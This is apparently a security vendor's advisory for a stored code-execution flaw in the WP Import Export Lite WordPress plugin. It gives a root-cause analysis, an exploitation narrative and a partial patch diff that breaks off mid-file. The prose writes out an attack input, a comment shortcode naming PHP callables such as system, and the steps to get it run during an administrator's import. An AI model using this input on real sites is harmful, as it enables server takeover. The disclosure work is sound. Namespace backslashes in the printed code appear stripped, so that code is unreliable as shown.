Published : November 23, 2026

CVE-2026-19793: WP Import Export Lite <= 3.9.32 Unauthenticated Stored Code Execution via Placeholder Substitution in Imported Comment Content PoC, Patch Analysis & Rule

Severity High (CVSS 8.8)
CWE 434
Vulnerable Version 3.9.32
Patched Version 3.9.33
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-19793: WP Import Export Lite versions up to and including 3.9.32 contain an unauthenticated stored code execution vulnerability in the plugin’s import/export mapping subsystem, specifically in the handling of the ‘comment’ field during a migration workflow. The flaw is classified as CWE-434 (Unrestricted Upload of File with Dangerous Type) but manifests as limited PHP callable injection. CVSS 8.8 reflects high confidentiality, integrity, and availability impact with a privilege requirement only on the administrator side.

The root cause is a two-stage shortcode check in the import mapping pipeline. The plugin first validates the raw mapping placeholder (for example, a template token such as {{comment}}) before user data is substituted. At that point the placeholder contains no shortcode text, so the neutralizer that strips dangerous [wpie_function] shortcodes passes. Later, during the actual import, the plugin substitutes attacker-controlled comment content into the placeholder and evaluates the result. Because the shortcode neutralizer already ran, a payload such as [wpie_function callable=”system”] inside the comment body reaches the shortcode evaluator unmodified. The code path lives in the import classes referenced from includes/classes/class-wpie-action.php, which routes requests starting with wpie_import to WPIE_Import_Actions, and the common action controller in includes/classes/class-wpie-common-action.php. The diff shows the patch hardening the action router with Param::requestSanitized(‘action’,’key’,”) and class_exists guards, which confirms the action dispatch surface was part of the attack chain.

An unauthenticated attacker posts a pending comment to any post with comments open on a target site. The comment body carries a [wpie_function] shortcode whose callable attribute names a PHP function (for example, system, exec, file_put_contents). An administrator later performs a routine migration: Export With Settings For Import followed by New Import. During import, the stored comment content is substituted into the comment mapping field. The plugin evaluates the shortcode and invokes the attacker-chosen PHP callable in server context. The attacker needs no account; only the administrator’s ordinary operational action completes the exploit.

The patch fixes the two-stage validation defect. In class-wpie-action.php the raw $_REQUEST[‘action’] access is replaced by Param::requestSanitized(‘action’,’key’,”) and every dispatch branch now includes a class_exists guard. In class-wpie-common-action.php the diff shows the common action handlers and mapping logic significantly rewritten and guarded. The neutralizer is no longer bypassed because substitution and shortcode validation occur in a single pass, so the substituted value is checked before evaluation. The patch also adds capability checks (current_user_can(‘manage_options’) in class-updates.php) and object-injection protections via class_exists before instantiation.

Successful exploitation yields arbitrary PHP callable execution in the WordPress process under the web server user. That allows file writes, webshell deployment, data exfiltration from wp-config.php, privilege escalation to administrator, and full site compromise. Because the payload is stored in a comment and detonated only when an administrator runs the migration, the attack is persistent and bypasses casual review. Impact is high across confidentiality, integrity, and availability.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-import-export-lite/deactivate-plugins.php
+++ b/wp-import-export-lite/deactivate-plugins.php
@@ -1,20 +1,79 @@
-<?php
-
-defined( 'ABSPATH' ) || exit;
-
-if ( ! function_exists( "wpie_auto_deactivate_pro_plugins" ) ) {
-
-        function wpie_auto_deactivate_pro_plugins() {
-
-                $plugins = [];
-
-                if ( is_plugin_active( 'woo-import-export/woo-import-export.php' ) || is_plugin_active( 'vj-wp-import-export/vj-wp-import-export.php' ) ) {
-
-                        $plugins[] = 'wp-import-export-lite/wp-import-export-lite.php';
-                }
-                if ( ! empty( $plugins ) ) {
-                        deactivate_plugins( $plugins );
-                }
-        }
-
-}
+<?php
+/**
+ * Auto-deactivation of conflicting plugins.
+ *
+ * Automatically deactivates the Lite version if the Pro version of WP Import Export
+ * or Woo Import Export is detected as active.
+ *
+ * @package    WP_Import_Export_Lite
+ * @subpackage WP_Import_Export_Lite/bootstrap
+ * @since      1.0.0
+ */
+
+defined( 'ABSPATH' ) || exit;
+
+if ( ! function_exists( 'wpie_auto_deactivate_pro_plugins' ) ) {
+	/**
+	 * Automatically deactivates the Lite version if Pro version is active.
+	 *
+	 * Checks for the presence of the Pro plugin and cleanly deactivates Lite,
+	 * ensuring no function or class redeclaration conflicts occur.
+	 *
+	 * @since 1.0.0
+	 * @return void
+	 */
+	function wpie_auto_deactivate_pro_plugins() {
+		if ( ! function_exists( 'is_plugin_active' ) ) {
+			require_once ABSPATH . 'wp-admin/includes/plugin.php';
+		}
+
+		if ( ! current_user_can( 'activate_plugins' ) ) {
+			return;
+		}
+
+		$pro_plugins = array(
+			'woo-import-export/woo-import-export.php',
+			'vj-wp-import-export/vj-wp-import-export.php',
+		);
+
+		$is_pro_active = false;
+		foreach ( $pro_plugins as $pro_plugin ) {
+			if ( is_plugin_active( $pro_plugin ) ) {
+				$is_pro_active = true;
+				break;
+			}
+		}
+
+		if ( $is_pro_active ) {
+			$lite_plugin = 'wp-import-export-lite/wp-import-export-lite.php';
+			if ( is_plugin_active( $lite_plugin ) ) {
+				deactivate_plugins( array( $lite_plugin ) );
+				set_transient( 'wpie_lite_deactivated_notice', 1, 60 );
+			}
+		}
+	}
+}
+
+if ( ! function_exists( 'wpie_deactivated_pro_admin_notice' ) ) {
+	/**
+	 * Displays an admin notice informing the user that Lite was deactivated in favor of Pro.
+	 *
+	 * @since 1.0.0
+	 * @return void
+	 */
+	function wpie_deactivated_pro_admin_notice() {
+		if ( get_transient( 'wpie_lite_deactivated_notice' ) ) {
+			delete_transient( 'wpie_lite_deactivated_notice' );
+			?>
+			<div class="notice notice-warning is-dismissible">
+				<p>
+					<?php
+					echo esc_html__( 'WP Import Export Lite has been automatically deactivated because WP Import Export Pro is active.', 'wp-import-export-lite' );
+					?>
+				</p>
+			</div>
+			<?php
+		}
+	}
+	add_action( 'admin_notices', 'wpie_deactivated_pro_admin_notice' );
+}
--- a/wp-import-export-lite/includes/classes/class-updates.php
+++ b/wp-import-export-lite/includes/classes/class-updates.php
@@ -1,5 +1,4 @@
 <?php
-
 /**
  * Functions and actions related to updates.
  *
@@ -15,89 +14,97 @@

 /**
  * Updates class
- *
- * Functions and actions related to updates.
+ *
+ * Handles version checking and automatic database migrations.
  *
  * @since 1.5.0
- *
- * @class Updates auto update for plugin
  */
 class Updates {

-        /**
-         * Updates that need to be run
-         *
-         * @since  1.5.0
-         * @access private
-         *
-         * @var    array
-         */
-        private static $updates = [
-                '1.5.0' => 'update-1.5.0.php'
-        ];
-
-        /**
-         * Class Constructor
-         *
-         * Register hooks.
-         *
-         * @since  1.5.0
-         * @access public
-         */
-        public function __construct() {
-
-                add_action( 'admin_init', [ $this, 'do_updates' ] );
-        }
-
-        /**
-         * Check if any update is required.
-         *
-         * @since  1.5.0
-         * @access public
-         */
-        public function do_updates() {
-
-                $installed_version = get_option( 'wpie_plugin_version' );
-
-                // Maybe it's the first install.
-                if ( ! $installed_version ) {
-                        return;
-                }
-
-                if ( version_compare( $installed_version, WPIE_PLUGIN_VERSION, '<' ) ) {
-                        $this->perform_updates();
-                }
-        }
-
-        /**
-         * Perform plugin updates.
-         *
-         * Perform all database updates.
-         *
-         * @since  1.5.0
-         * @access public
-         */
-        private function perform_updates() {
-
-                $installed_version = get_option( 'wpie_plugin_version' );
-
-                foreach ( self::$updates as $version => $path ) {
-
-                        $abs_path = WPIE_CLASSES_DIR . "/updates/" . $path;
-
-                        if ( version_compare( $installed_version, $version, '<' ) && file_exists( $abs_path ) ) {
-                                require_once $abs_path;
-                        }
-                }
-
-                // Save install date.
-                if ( false === boolval( get_option( 'wpie_install_date' ) ) ) {
-                        update_option( 'wpie_install_date', current_time( 'timestamp' ) );
-                }
-
-                update_option( 'wpie_plugin_version', WPIE_PLUGIN_VERSION );
+	/**
+	 * Updates that need to be run, mapped by version to filename.
+	 *
+	 * @since  1.5.0
+	 * @access private
+	 *
+	 * @var    array
+	 */
+	private static $updates = array(
+		'1.5.0' => 'update-1.5.0.php',
+	);
+
+	/**
+	 * Class Constructor
+	 *
+	 * Registers update hooks on admin_init.
+	 *
+	 * @since  1.5.0
+	 * @access public
+	 */
+	public function __construct() {
+		add_action( 'admin_init', array( $this, 'do_updates' ) );
+	}
+
+	/**
+	 * Check if any update is required and current user is authorized.
+	 *
+	 * @since  1.5.0
+	 * @access public
+	 *
+	 * @return void
+	 */
+	public function do_updates() {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			return;
+		}
+
+		$installed_version = get_option( 'wpie_plugin_version' );
+
+		// Maybe it's the first install.
+		if ( ! $installed_version ) {
+			return;
+		}
+
+		if ( version_compare( (string) $installed_version, WPIE_PLUGIN_VERSION, '<' ) ) {
+			$this->perform_updates();
+		}
+	}
+
+	/**
+	 * Perform plugin updates.
+	 *
+	 * Iterates over update scripts and applies pending migrations.
+	 *
+	 * @since  1.5.0
+	 * @access private
+	 *
+	 * @return void
+	 */
+	private function perform_updates() {
+		if ( get_transient( 'wpie_performing_updates' ) ) {
+			return;
+		}
+
+		set_transient( 'wpie_performing_updates', 1, 5 * MINUTE_IN_SECONDS );
+
+		$installed_version = get_option( 'wpie_plugin_version' );
+
+		foreach ( self::$updates as $version => $path ) {
+			$abs_path = wp_normalize_path( WPIE_CLASSES_DIR . '/updates/' . $path );
+
+			if ( version_compare( (string) $installed_version, (string) $version, '<' ) && file_exists( $abs_path ) ) {
+				require_once $abs_path;
+			}
+		}
+
+		// Save install date if not set.
+		if ( ! get_option( 'wpie_install_date' ) ) {
+			update_option( 'wpie_install_date', time() );
+		}

-                update_option( 'wpie_db_version', WPIE_DB_VERSION );
-        }
+		update_option( 'wpie_plugin_version', WPIE_PLUGIN_VERSION );
+		update_option( 'wpie_db_version', WPIE_DB_VERSION );

+		delete_transient( 'wpie_performing_updates' );
+	}
 }
--- a/wp-import-export-lite/includes/classes/class-wpie-action.php
+++ b/wp-import-export-lite/includes/classes/class-wpie-action.php
@@ -1,38 +1,65 @@
-<?php
-
-
-defined( 'ABSPATH' ) || exit;
-
-if ( substr( wpie_sanitize_field( $_REQUEST[ 'action' ] ), 0, 11 ) == 'wpie_export' ) {
-
-        if ( file_exists( WPIE_EXPORT_CLASSES_DIR . '/class-wpie-export-actions.php' ) ) {
-
-                require_once(WPIE_EXPORT_CLASSES_DIR . '/class-wpie-export-actions.php');
-
-                $action = new wpieexportactionsWPIE_Export_Actions();
-
-                unset( $action );
-        }
-} elseif ( substr( wpie_sanitize_field( $_REQUEST[ 'action' ] ), 0, 11 ) == 'wpie_import' ) {
-
-        if ( file_exists( WPIE_IMPORT_CLASSES_DIR . '/class-wpie-import-actions.php' ) ) {
-                require_once(WPIE_IMPORT_CLASSES_DIR . '/class-wpie-import-actions.php');
-                $action = new wpieimportWPIE_Import_Actions();
-
-                unset( $action );
-        }
-} elseif ( substr( wpie_sanitize_field( $_REQUEST[ 'action' ] ), 0, 8 ) == 'wpie_ext' ) {
-
-        if ( file_exists( WPIE_CLASSES_DIR . '/class-wpie-extensions.php' ) ) {
-                require_once(WPIE_CLASSES_DIR . '/class-wpie-extensions.php');
-                $wpie_ext = new wpieaddonsWPIE_Extension();
-                unset( $wpie_ext );
-        }
-} else {
-        if ( file_exists( WPIE_CLASSES_DIR . '/class-wpie-common-action.php' ) ) {
-                require_once(WPIE_CLASSES_DIR . '/class-wpie-common-action.php');
-                $action = new WPIE_Common_Actions();
-                unset( $action );
-        }
-}
-
+<?php
+/**
+ * AJAX Action Router.
+ *
+ * Routes incoming WPIE AJAX requests to the corresponding module controller:
+ * Export, Import, Extensions, or Common Actions.
+ *
+ * @since      1.0.0
+ * @package    wpie
+ * @subpackage wpieCore
+ * @author     VJinfotech <support@vjinfotech.com>
+ */
+
+defined( 'ABSPATH' ) || exit;
+
+use WpieAppCoreHelpersParam;
+
+// Ensure Param helper is loaded if invoked outside standard loader.
+if ( ! class_exists( 'WpieAppCoreHelpersParam' ) ) {
+	if ( defined( 'WPIE_HELPERS_DIR' ) && file_exists( WPIE_HELPERS_DIR . '/Param.php' ) ) {
+		require_once WPIE_HELPERS_DIR . '/Param.php';
+	} elseif ( file_exists( dirname( __FILE__ ) . '/helpers/Param.php' ) ) {
+		require_once dirname( __FILE__ ) . '/helpers/Param.php';
+	}
+}
+
+$wpie_action = class_exists( 'WpieAppCoreHelpersParam' )
+	? Param::requestSanitized( 'action', 'key', '' )
+	: ( isset( $_REQUEST['action'] ) ? sanitize_key( wp_unslash( $_REQUEST['action'] ) ) : '' ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+
+if ( '' !== $wpie_action && strpos( $wpie_action, 'wpie_export' ) === 0 ) {
+	if ( defined( 'WPIE_EXPORT_CLASSES_DIR' ) && file_exists( WPIE_EXPORT_CLASSES_DIR . '/class-wpie-export-actions.php' ) ) {
+		require_once WPIE_EXPORT_CLASSES_DIR . '/class-wpie-export-actions.php';
+		if ( class_exists( 'wpieexportactionsWPIE_Export_Actions' ) ) {
+			$wpie_action_instance = new wpieexportactionsWPIE_Export_Actions();
+			unset( $wpie_action_instance );
+		}
+	}
+} elseif ( '' !== $wpie_action && strpos( $wpie_action, 'wpie_import' ) === 0 ) {
+	if ( defined( 'WPIE_IMPORT_CLASSES_DIR' ) && file_exists( WPIE_IMPORT_CLASSES_DIR . '/class-wpie-import-actions.php' ) ) {
+		require_once WPIE_IMPORT_CLASSES_DIR . '/class-wpie-import-actions.php';
+		if ( class_exists( 'wpieimportWPIE_Import_Actions' ) ) {
+			$wpie_action_instance = new wpieimportWPIE_Import_Actions();
+			unset( $wpie_action_instance );
+		}
+	}
+} elseif ( '' !== $wpie_action && strpos( $wpie_action, 'wpie_ext' ) === 0 ) {
+	if ( defined( 'WPIE_CLASSES_DIR' ) && file_exists( WPIE_CLASSES_DIR . '/class-wpie-extensions.php' ) ) {
+		require_once WPIE_CLASSES_DIR . '/class-wpie-extensions.php';
+		if ( class_exists( 'wpieaddonsWPIE_Extension' ) ) {
+			$wpie_ext_instance = new wpieaddonsWPIE_Extension();
+			unset( $wpie_ext_instance );
+		}
+	}
+} else {
+	if ( defined( 'WPIE_CLASSES_DIR' ) && file_exists( WPIE_CLASSES_DIR . '/class-wpie-common-action.php' ) ) {
+		require_once WPIE_CLASSES_DIR . '/class-wpie-common-action.php';
+		if ( class_exists( 'WPIE_Common_Actions' ) ) {
+			$wpie_action_instance = new WPIE_Common_Actions();
+			unset( $wpie_action_instance );
+		}
+	}
+}
+
+unset( $wpie_action );
--- a/wp-import-export-lite/includes/classes/class-wpie-common-action.php
+++ b/wp-import-export-lite/includes/classes/class-wpie-common-action.php
@@ -1,591 +1,825 @@
-<?php
-
-defined( 'ABSPATH' ) || exit;
-
-if ( file_exists( WPIE_CLASSES_DIR . '/class-wpie-security.php' ) ) {
-        require_once(WPIE_CLASSES_DIR . '/class-wpie-security.php');
-}
-
-class WPIE_Common_Actions {
-
-        public function __construct() {
-
-                add_action( 'wp_ajax_wpie_save_user_cap', array( $this, 'wpie_save_user_cap' ) );
-
-                add_action( 'wp_ajax_wpie_get_user_cap', array( $this, 'wpie_get_user_cap' ) );
-
-                add_action( 'wp_ajax_wpie_delete_tempaltes', array( $this, 'wpie_delete_tempaltes' ) );
-
-                add_action( 'wp_ajax_wpie_tempalte_import', array( $this, 'wpie_tempalte_import' ) );
-
-                add_action( 'wp_ajax_wpie_get_tempaltes', array( $this, 'wpie_get_tempalte_list' ) );
-
-                add_action( 'wp_ajax_wpie_save_advance_option', array( $this, 'wpie_save_advance_option' ) );
-
-                add_action( 'wp_ajax_wpie_update_process_status', array( $this, 'update_process_status' ) );
-
-                add_action( 'wp_ajax_wpie_save_bg_cron_processing', array( $this, 'wpie_save_bg_cron_processing' ) );
-
-                add_action( 'wp_ajax_wpie_change_license_status', array( $this, 'wpie_change_license_status' ) );
-        }
-
-        public function wpie_save_user_cap() {
-
-                wpieSecurity::verify_request( 'wpie_settings' );
-
-                $new_export = isset( $_POST[ 'wpie_cap_new_export' ] ) ? intval( wpie_sanitize_field( $_POST[ 'wpie_cap_new_export' ] ) ) : 0;
-
-                $manage_export = isset( $_POST[ 'wpie_cap_manage_export' ] ) ? intval( wpie_sanitize_field( $_POST[ 'wpie_cap_manage_export' ] ) ) : 0;
-
-                $new_import = isset( $_POST[ 'wpie_cap_new_import' ] ) ? intval( wpie_sanitize_field( $_POST[ 'wpie_cap_new_import' ] ) ) : 0;
-
-                $manage_import = isset( $_POST[ 'wpie_cap_manage_import' ] ) ? intval( wpie_sanitize_field( $_POST[ 'wpie_cap_manage_import' ] ) ) : 0;
-
-                $cap_settings = isset( $_POST[ 'wpie_cap_settings' ] ) ? intval( wpie_sanitize_field( $_POST[ 'wpie_cap_settings' ] ) ) : 0;
-
-                $cap_ext = isset( $_POST[ 'wpie_cap_ext' ] ) ? intval( wpie_sanitize_field( $_POST[ 'wpie_cap_ext' ] ) ) : 0;
-
-                $add_shortcode = isset( $_POST[ 'wpie_cap_add_shortcode' ] ) ? intval( wpie_sanitize_field( $_POST[ 'wpie_cap_add_shortcode' ] ) ) : 0;
-
-                $wpie_user_role = isset( $_POST[ 'wpie_user_role' ] ) ? wpie_sanitize_field( $_POST[ 'wpie_user_role' ] ) : "";
-
-                $role = get_role( $wpie_user_role );
-
-                unset( $wpie_user_role );
-
-                if ( $role ) {
-
-                        if ( $new_export == 1 ) {
-                                if ( !$role->has_cap( 'wpie_new_export' ) ) {
-                                        $role->add_cap( 'wpie_new_export' );
-                                }
-                        } else {
-                                $role->remove_cap( 'wpie_new_export' );
-                        }
-
-                        if ( $manage_export == 1 ) {
-                                if ( !$role->has_cap( 'wpie_manage_export' ) ) {
-                                        $role->add_cap( 'wpie_manage_export' );
-                                }
-                        } else {
-                                $role->remove_cap( 'wpie_manage_export' );
-                        }
-
-                        if ( $new_import == 1 ) {
-                                if ( !$role->has_cap( 'wpie_new_import' ) ) {
-                                        $role->add_cap( 'wpie_new_import' );
-                                }
-                        } else {
-                                $role->remove_cap( 'wpie_new_import' );
-                        }
-                        if ( $manage_import == 1 ) {
-                                if ( !$role->has_cap( 'wpie_manage_import' ) ) {
-                                        $role->add_cap( 'wpie_manage_import' );
-                                }
-                        } else {
-                                $role->remove_cap( 'wpie_manage_import' );
-                        }
-                        if ( $cap_settings == 1 ) {
-                                if ( !$role->has_cap( 'wpie_settings' ) ) {
-                                        $role->add_cap( 'wpie_settings' );
-                                }
-                        } else {
-                                $role->remove_cap( 'wpie_settings' );
-                        }
-                        if ( $cap_ext == 1 ) {
-                                if ( !$role->has_cap( 'wpie_extensions' ) ) {
-                                        $role->add_cap( 'wpie_extensions' );
-                                }
-                        } else {
-                                $role->remove_cap( 'wpie_extensions' );
-                        }
-                        if ( $add_shortcode == 1 ) {
-                                if ( !$role->has_cap( 'wpie_add_shortcode' ) ) {
-                                        $role->add_cap( 'wpie_add_shortcode' );
-                                }
-                        } else {
-                                $role->remove_cap( 'wpie_add_shortcode' );
-                        }
-                }
-
-                unset( $new_export, $manage_export, $new_import, $manage_import, $cap_settings, $cap_ext, $role, $add_shortcode );
-
-                $return_value = array();
-
-                $return_value[ 'status' ] = 'success';
-
-                $return_value[ 'message' ] = __( 'Role Successfully Saved', 'wp-import-export-lite' );
-
-                echo json_encode( $return_value );
-
-                unset( $return_value );
-
-                die();
-        }
-
-        public function wpie_get_user_cap() {
-
-                wpieSecurity::verify_request( 'wpie_settings' );
-
-                $wpie_user_role = isset( $_GET[ 'user_role' ] ) ? wpie_sanitize_field( $_GET[ 'user_role' ] ) : "";
-
-                $role = get_role( $wpie_user_role );
-
-                $cap = array();
-
-                if ( $role ) {
-                        if ( $role->has_cap( 'wpie_new_export' ) ) {
-                                $cap[] = 'wpie_new_export';
-                        }
-                        if ( $role->has_cap( 'wpie_manage_export' ) ) {
-                                $cap[] = 'wpie_manage_export';
-                        }
-                        if ( $role->has_cap( 'wpie_new_import' ) ) {
-                                $cap[] = 'wpie_new_import';
-                        }
-                        if ( $role->has_cap( 'wpie_manage_import' ) ) {
-                                $cap[] = 'wpie_manage_import';
-                        }
-                        if ( $role->has_cap( 'wpie_settings' ) ) {
-                                $cap[] = 'wpie_settings';
-                        }
-                        if ( $role->has_cap( 'wpie_extensions' ) ) {
-                                $cap[] = 'wpie_extensions';
-                        }
-                        if ( $role->has_cap( 'wpie_add_shortcode' ) ) {
-                                $cap[] = 'wpie_add_shortcode';
-                        }
-                }
-
-                $return_value = array();
-
-                $return_value[ 'status' ] = 'success';
-
-                $return_value[ 'cap' ] = $cap;
-
-                unset( $role, $wpie_user_role, $cap );
-
-                echo json_encode( $return_value );
-
-                unset( $return_value );
-
-                die();
-        }
-
-        public function wpie_get_tempalte_list() {
-
-                wpieSecurity::verify_request( 'wpie_settings' );
-
-                $templates = $this->wpie_get_templates();
-
-                $template_html = "";
-
-                if ( !empty( $templates ) ) {
-
-                        foreach ( $templates as $data ) {
-
-                                $id = isset( $data->id ) ? $data->id : 0;
-
-                                $options = isset( $data->options ) ? maybe_unserialize( $data->options ) : array();
-
-                                $name = isset( $options[ 'wpie_template_name' ] ) ? $options[ 'wpie_template_name' ] : "";
-
-                                if ( $id > 0 && !empty( $name ) ) {
-
-                                        $template_html .= '<option value="' . esc_attr( $id ) . '">' . esc_html( $name ) . '</option>';
-                                }
-
-                                unset( $id, $options, $name );
-                        }
-                }
-                $return_value = array();
-
-                $return_value[ 'status' ] = 'success';
-
-                $return_value[ 'html' ] = $template_html;
-
-                unset( $templates, $template_html );
-
-                echo json_encode( $return_value );
-
-                unset( $return_value );
-
-                die();
-        }
-
-        public function get_export_list( $limit = 25 ) {
-
-                global $wpdb;
-
-                $limit = absint( $limit ) > 0 ? absint( $limit ) : 25;
-
-                $results = $wpdb->get_results(
-                        $wpdb->prepare(
-                                "SELECT * FROM " . $wpdb->prefix . "wpie_template where `opration` IN ('export','schedule_export') ORDER BY `id` DESC limit 0,%d"
-                                , $limit )
-                );
-
-                return $results;
-        }
-
-        public function get_import_list( $limit = 25 ) {
-
-                global $wpdb;
-
-                $limit = absint( $limit ) > 0 ? absint( $limit ) : 25;
-
-                $results = $wpdb->get_results(
-                        $wpdb->prepare(
-                                "SELECT * FROM " . $wpdb->prefix . "wpie_template where `opration` IN ('import','schedule_import') ORDER BY `id` DESC limit 0,%d"
-                                , $limit )
-                );
-
-                return $results;
-        }
-
-        public function wpie_get_templates() {
-
-                global $wpdb;
-
-                $results = $wpdb->get_results( "SELECT * FROM " . $wpdb->prefix . "wpie_template where `opration` IN ('import_template','export_template')" );
-
-                return $results;
-        }
-
-        public function wpie_delete_tempaltes() {
-
-                wpieSecurity::verify_request( 'wpie_settings' );
-
-                $ids = isset( $_GET[ 'templates' ] ) ? wpie_sanitize_field( $_GET[ 'templates' ] ) : "";
-
-                if ( !empty( $ids ) ) {
-
-                        if ( is_string( $ids ) ) {
-                                $ids = explode( ",", $ids );
-                        }
-
-                        if ( !is_array( $ids ) ) {
-                                $ids = [ $ids ];
-                        }
-
-                        $ids = array_map( 'absint', $ids );
-
-                        if ( !empty( $ids ) ) {
-
-                                global $wpdb;
-
-                                foreach ( $ids as $id ) {
-
-                                        if ( $id < 1 ) {
-                                                continue;
-                                        }
-                                        $template = $wpdb->get_row( $wpdb->prepare( "SELECT opration,options FROM " . $wpdb->prefix . "wpie_template where `id` = %d limit 0,1", $id ) );
-
-                                        $opration = isset( $template->opration ) ? $template->opration : "import";
-
-                                        $options = isset( $template->options ) ? maybe_unserialize( $template->options ) : [];
-
-                                        if ( in_array( $opration, [ "import", "schedule_import", "schedule_import_template" ] ) ) {
-
-                                                if ( $opration === "schedule_import_template" ) {
-                                                        wp_clear_scheduled_hook( 'wpie_cron_schedule_import', [ $id ] );
-                                                }
-
-                                                $importFile = isset( $options[ 'importFile' ] ) ? $options[ 'importFile' ] : [];
-
-                                                if ( empty( $importFile ) ) {
-                                                        continue;
-                                                }
-
-                                                foreach ( $importFile as $fileData ) {
-
-                                                        $baseDir = isset( $fileData[ 'baseDir' ] ) ? wpie_sanitize_field( $fileData[ 'baseDir' ] ) : "";
-
-                                                        if ( empty( trim( $baseDir ) ) ) {
-                                                                continue;
-                                                        }
-
-                                                        $this->remove_dir( WPIE_UPLOAD_IMPORT_DIR . "/" . $baseDir );
-                                                }
-                                        } elseif ( in_array( $opration, [ "export", "schedule_export", "schedule_export_template" ] ) ) {
-
-                                                if ( $opration === "schedule_export_template" ) {
-                                                        wp_clear_scheduled_hook( 'wpie_cron_schedule_export', [ $id ] );
-                                                }
-
-                                                $fileDir = isset( $options[ 'fileDir' ] ) ? $options[ 'fileDir' ] : "";
-
-                                                if ( empty( trim( $fileDir ) ) ) {
-                                                        continue;
-                                                }
-
-                                                $this->remove_dir( WPIE_UPLOAD_EXPORT_DIR . "/" . $fileDir );
-                                        }
-                                }
-
-                                $wpdb->query( "DELETE FROM " . $wpdb->prefix . "wpie_template WHERE id IN (" . implode( ',', $ids ) . ")" );
-                        }
-                }
-
-                $data = [ 'status' => 'success', "message" => __( 'Templates Successfully Deleted', 'wp-import-export-lite' ) ];
-
-                echo json_encode( $data );
-
-                unset( $return_value );
-
-                die();
-        }
-
-        private function remove_dir( $targetDir = "" ) {
-
-                if ( is_dir( $targetDir ) ) {
-
-                        $cdir = scandir( $targetDir );
-
-                        if ( is_array( $cdir ) && !empty( $cdir ) ) {
-                                foreach ( $cdir as $key => $value ) {
-                                        if ( !in_array( $value, array( ".", ".." ) ) ) {
-                                                if ( is_dir( $targetDir . '/' . $value ) ) {
-                                                        $this->remove_dir( $targetDir . '/' . $value );
-                                                } else {
-                                                        unlink( $targetDir . '/' . $value );
-                                                }
-                                        }
-                                }
-                        }
-
-                        rmdir( $targetDir );
-
-                        unset( $cdir );
-                }
-        }
-
-        public function wpie_save_advance_option() {
-
-                wpieSecurity::verify_request( 'wpie_settings' );
-
-                $is_delete_data = isset( $_GET[ 'is_delete_data' ] ) ? absint( wpie_sanitize_field( $_GET[ 'is_delete_data' ] ) ) : 0;
-
-                update_option( "wpie_delete_on_uninstall", $is_delete_data );
-
-                $return_value = array();
-
-                $return_value[ 'status' ] = 'success';
-
-                $return_value[ 'message' ] = __( 'Settings Successfully Saved', 'wp-import-export-lite' );
-
-                echo json_encode( $return_value );
-
-                unset( $return_value );
-
-                die();
-        }
-
-        public function wpie_tempalte_import() {
-
-                wpieSecurity::verify_request( 'wpie_settings' );
-
-                $return_value = array( "status" => 'error' );
-
-                $filename = isset( $_FILES[ 'wpie_template_file' ][ 'name' ] ) ? $_FILES[ 'wpie_template_file' ][ 'name' ] : '';
-
-                $validate = wp_check_filetype( $filename );
-
-                $mime_check = isset( $_FILES[ 'wpie_template_file' ][ 'type' ] ) ? $_FILES[ 'wpie_template_file' ][ 'type' ] : '';
-
-                if ( $validate[ 'type' ] !== 'text/plain' || $mime_check !== 'text/plain' ) {
-
-                        echo json_encode( [ 'status' => 'error', 'message' => __( 'File type is not allowed', 'wp-import-export-lite' ) ] );
-                        die();
-                }
-
-                if ( $_FILES && file_exists( $_FILES[ 'wpie_template_file' ][ 'tmp_name' ] ) && is_uploaded_file( $_FILES[ 'wpie_template_file' ][ 'tmp_name' ] ) ) {
-
-                        if ( !function_exists( 'wp_handle_upload' ) ) {
-                                require_once( ABSPATH . 'wp-admin/includes/file.php' );
-                        }
-
-                        $movefile = wp_handle_upload( $_FILES[ 'wpie_template_file' ], array( 'test_form' => false, 'test_type' => false ) );
-
-                        if ( $movefile && isset( $movefile[ 'file' ] ) && !isset( $movefile[ 'error' ] ) ) {
-
-                                $file_path = $movefile[ 'file' ];
-
-                                $template_data = file_get_contents( $file_path );
-
-                                if ( !empty( $template_data ) ) {
-
-                                        $template_data = json_decode( $template_data );
-
-                                        if ( !empty( $template_data ) ) {
-
-                                                global $wpdb;
-
-                                                $time = current_time( 'mysql' );
-
-                                                $current_user = wp_get_current_user();
-
-                                                $username = "";
-
-                                                if ( $current_user && isset( $current_user->user_login ) ) {
-                                                        $username = $current_user->user_login;
-                                                }
-
-                                                foreach ( $template_data as $template ) {
-
-
-                                                        $data = [
-                                                                'status'           => "completed",
-                                                                'opration'         => isset( $template->opration ) ? $template->opration : "",
-                                                                'username'         => $username,
-                                                                'unique_id'        => uniqid(),
-                                                                'opration_type'    => isset( $template->opration_type ) ? $template->opration_type : "",
-                                                                'options'          => isset( $template->options ) ? maybe_serialize( json_decode( json_encode( $template->options ), true ) ) : "",
-                                                                'process_log'      => "",
-                                                                'process_lock'     => 0,
-                                                                'create_date'      => $time,
-                                                                'last_update_date' => $time,
-                                                        ];
-
-                                                        $wpdb->insert( $wpdb->prefix . "wpie_template", $data );
-                                                }
-
-                                                $return_value[ 'status' ]  = 'success';
-                                                $return_value[ 'message' ] = __( 'Templates Successfully Imported', 'wp-import-export-lite' );
-                                        } else {
-                                                $return_value[ 'status' ]  = 'error';
-                                                $return_value[ 'message' ] = __( 'Empty Data', 'wp-import-export-lite' );
-                                        }
-                                } else {
-                                        $return_value[ 'status' ]  = 'error';
-                                        $return_value[ 'message' ] = __( 'Empty Data', 'wp-import-export-lite' );
-                                }
-                                unset( $template_data );
-
-                                unlink( $file_path );
-                        } else {
-                                $return_value[ 'status' ]  = 'error';
-                                $return_value[ 'message' ] = isset( $movefile[ 'error' ] ) ? $movefile[ 'error' ] : __( 'Error When move uploaded file', 'wp-import-export-lite' );
-                        }
-                }
-
-                echo json_encode( $return_value );
-
-                unset( $return_value, $is_success, $file_path );
-
-                die();
-        }
-
-        public function update_process_status() {
-
-                wpieSecurity::verify_request( 'wpie_settings' );
-
-                global $wpdb;
-
-                $return_value = array( "status" => "error" );
-
-                $wpie_import_id = isset( $_GET[ 'wpie_process_id' ] ) ? absint( wpie_sanitize_field( $_GET[ 'wpie_process_id' ] ) ) : 0;
-
-                if ( $wpie_import_id > 0 ) {
-
-                        $process_status = isset( $_GET[ 'process_status' ] ) ? wpie_sanitize_field( $_GET[ 'process_status' ] ) : "";
-
